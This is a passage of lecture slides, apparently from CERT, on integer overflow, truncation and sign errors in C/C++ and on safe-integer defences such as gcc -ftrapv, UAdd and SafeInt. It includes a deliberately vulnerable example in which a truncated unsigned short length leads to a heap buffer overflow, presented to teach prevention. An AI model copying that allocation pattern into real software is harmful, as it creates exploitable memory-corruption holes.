runtime. 

This option generates traps for signed overflow 
on addition, subtraction, multiplication 
operations. 

The gcc compiler generates calls to existing 
library functions.
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Adding Signed Integers

1. Wtype __addvsi3 (Wtype a, Wtype b) {

2. const Wtype w = a + b;

3. if (b >= 0 ? w < a : w > a)

4. abort ();

5. return w;

6. } abort() is called if 
• b is non-negative and w < a
• b is negative and w > a

Function from the gcc runtime system used to detect 
overflows resulting from the addition of signed 16-bit integers

The addition is performed 
and the sum is compared to 
the operands to determine if 
an error occurred
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Safe Integer Operations 1
Integer operations can result in error conditions and 
possible lost data.

The first line of defense against integer vulnerabilities 
should be range checking

Explicitly 
Implicitly - through strong typing 

It is difficult to guarantee that multiple input variables 
cannot be manipulated to cause an error to occur in 
some operation somewhere in a program. 
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Safe Integer Operations 2
An alternative or ancillary approach is to 
protect each operation. 

This approach can be labor intensive and 
expensive to perform.

Use a safe integer library for all operations on 
integers where one or more of the inputs could 
be influenced by an untrusted source.
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Safe Integer Solutions
C language compatible library

Written by Michael Howard at Microsoft
Detects integer overflow conditions using IA-32 
specific mechanisms
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Unsigned Add Function
1. in bool UAdd(size_t a, size_t b, size_t *r) {
2. __asm {
3. mov eax, dword ptr [a] 
4. add eax, dword ptr [b] 
5. mov ecx, dword ptr [r] 
6. mov dword ptr [ecx], eax
7. jc short j1
8. mov al, 1 // 1 is success
9. jmp short j2

10. j1:
11. xor al, al // 0 is failure
12. j2:
13. };
14. }
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Unsigned Add Function Example
1. int main(int argc, char *const *argv) {

2.   unsigned int total;

3.   if (UAdd(strlen(argv[1]), 1, &total) &&

UAdd(total, strlen(argv[2]), &total)) {

4.     char *buff = (char *)malloc(total);

5.     strcpy(buff, argv[1]);

6.     strcat(buff, argv[2]);

7.   else {

8.     abort();

9.   }

10. }

The length of the combined strings is 
calculated using UAdd() with appropriate 
checks for error conditions.
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SafeInt Class 
SafeInt is a C++ template class written by 
David LeBlanc. 

Implements the precondition approach and 
tests the values of operands before performing 
an operation to determine whether errors might 
occur. 

The class is declared as a template, so it can 
be used with any integer type. 

Nearly every relevant operator has been 
overridden except for the subscript operator[]
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SafeInt Example
1. int main(int argc, char *const *argv) {

2. try{

3. SafeInt<unsigned long> s1(strlen(argv[1]));

4. SafeInt<unsigned long> s2(strlen(argv[2]));

5. char *buff = (char *) malloc(s1 + s2 + 1);

6. strcpy(buff, argv[1]);

7. strcat(buff, argv[2]);

8. }

9. catch(SafeIntException err) {

10. abort();

11. }

12. }

The variables s1 and s2 are 
declared as SafeInt types

When the + operator is invoked it uses the 
safe version of the operator implemented as 
part of the SafeInt class.
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Safe Integer Solutions Compared 3

The SafeInt library has several advantages 
over the Howard approach

more portable than safe arithmetic operations 
that depend on assembly language 
instructions. 
more usable
– Arithmetic operators can be used in normal inline 

expressions.
– SafeInt uses C++ exception handling instead of C-

style return code checking
better performance (when running optimized  
code)
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When to Use Safe Integers
Use safe integers when integer values can be 
manipulated by untrusted sources, for example

the size of a structure
the number of structures to allocate

void* CreateStructs(int StructSize, int HowMany) {

SafeInt<unsigned long> s(StructSize);

s *= HowMany;

return malloc(s.Value());

}
The multiplication can overflow the integer and create a 
buffer overflow vulnerability

Structure size multiplied by # required to 
determine size of memory to allocate.
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When Not to Use Safe Integers
Don’t use safe integers when no overflow possible

tight loop
variables are not externally influenced

void foo() {

char a[INT_MAX];

int i;

for (i = 0; i < INT_MAX; i++)

a[i] = '\0';

}
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Testing 1
Input validation does not guarantee that 
subsequent operations on integers will not 
result in an overflow or other error condition. 

Testing does not provide any guarantees either 
It is impossible to cover all ranges of possible 
inputs on anything but the most trivial 
programs. 
If applied correctly, testing can increase 
confidence that the code is secure. 
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Testing 2
Integer vulnerability tests should include boundary 
conditions for all integer variables. 

If type range checks are inserted in the code, test that 
they function correctly for upper and lower bounds. 
If boundary tests have not been included, test for 
minimum and maximum integer values for the various 
integer sizes used. 

Use white box testing to determine the types of 
integer variables.

If source code is not available, run tests with the 
various maximum and minimum values for each type.
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Source Code Audit
Source code should be audited or inspected for 
possible integer range errors 

When auditing, check for the following:
Integer type ranges are properly checked.
Input values are restricted to a valid range based on 
their intended use.

Integers that do not require negative values are 
declared as unsigned and properly range-checked for 
upper and lower bounds.

Operations on integers originating from untrusted 
sources are performed using a safe integer library.
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Notable Vulnerabilities
Integer Overflow In XDR Library

SunRPC xdr_array buffer overflow
http://www.iss.net/security_center/static/9170.php

Windows DirectX MIDI Library
eEye Digital Security advisory AD20030723
http://www.eeye.com/html/Research/Advisories/AD200
30723.html

Bash
CERT Advisory CA-1996-22
http://www.cert.org/advisories/CA-1996-22.html
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Introductory
Example
1 int main(int argc, char *const *argv) {

2. unsigned short int total;

3. total = strlen(argv[1]) +  

strlen(argv[2]) + 1;

4. char *buff = (char *) malloc(total);

5. strcpy(buff, argv[1]);

6. strcat(buff, argv[2]);

7.}

Accepts two string arguments and calculates 
their combined length (plus an extra byte for 
the terminating null character)

Memory is 
allocated to store 
both strings.

The 1st argument is copied into the buffer 
and the 2nd argument is concatenated to 
the end of the 1st argument
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Vulnerability
An attacker can supply arguments such that the sum 
of the lengths of the strings cannot be represented by 
the unsigned short int total. 

The strlen() function returns a result of type 
size_t, an unsigned long int on IA-32

As a result, the sum of the lengths + 1 is an unsigned 
long int. 
This value must be truncated to assign to the 
unsigned short int total.

If the value is truncated malloc() allocates 
insufficient memory and the strcpy() and 
strcat() will overflow the dynamically allocated 
memory
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Summary 1
Integer vulnerabilities are the result of integer
type range errors

Overflows occur when integer operations 
generate a value that is out of range for a 
particular integer type. 

Truncation occur when a value is stored in a 
type that is too small to represent the result. 

Sign errors result from misinterpretation of the 
sign bit but does not result in a loss of data 
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Summary 2
The key to preventing these vulnerabilities is to 
understand integer behavior in digital systems.

Limiting integer inputs to a valid range can 
prevent the introduction of arbitrarily large or 
small numbers that can be used to overflow 
integer types. 

Many integer inputs have well-defined ranges. 
Other integers have reasonable upper and 
lower bounds.
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Summary 3
Ensuring that operations on integers do not result in 
integer errors requires considerable care. Use safe 
integer libraries.

Apply available tools, processes, and techniques in 
the discovery and prevention of integer vulnerabilities. 

Static analysis and source code auditing are useful for 
finding errors. 

Source code audits also provide a forum for 
developers to discuss what does and does not 
constitute a security flaw and to consider possible 
solutions. 
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Summary 4
Dynamic analysis tools, combined with testing, 
can be used as part of a quality assurance 
process, particularly if boundary conditions are 
properly evaluated.

If integer type range checking is properly 
applied and safe integer operations are used 
for values that can pass out of range, it is 
possible to prevent vulnerabilities resulting 
from integer range errors.
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Questions
about
Integers
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Summary
Not all coding flaws are difficult to exploit but they can be

Never under estimate the amount of effort an attacker will put into 
the development of an exploit 

Common coding errors are a principal cause of software 
vulnerabilities.

Over 90% of software security vulnerabilities are due to attackers 
exploiting known software defect types.

Practical avoidance strategies can be used to eliminate or reduce the 
number coding flaws that that can lead to security failures. Many of the 
same issues as “software quality” in software engineering

The first and foremost strategy for reducing securing related coding 
flaws is to educate developers how to avoid creating vulnerable code

Make software security a major objective in the software development 
process
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Visit the CERT® web site     

http://www.cert.org/
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Robert C. Seacord rcs@cert.org
Contact CERT Coordination Center

Software Engineering Institute
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4500 Fifth Avenue
Pittsburgh PA 15213-3890

Hotline: 412-268-7090
CERT/CC personnel answer 8:00 a.m. — 5:00 p.m.
and are on call for emergencies during other hours.
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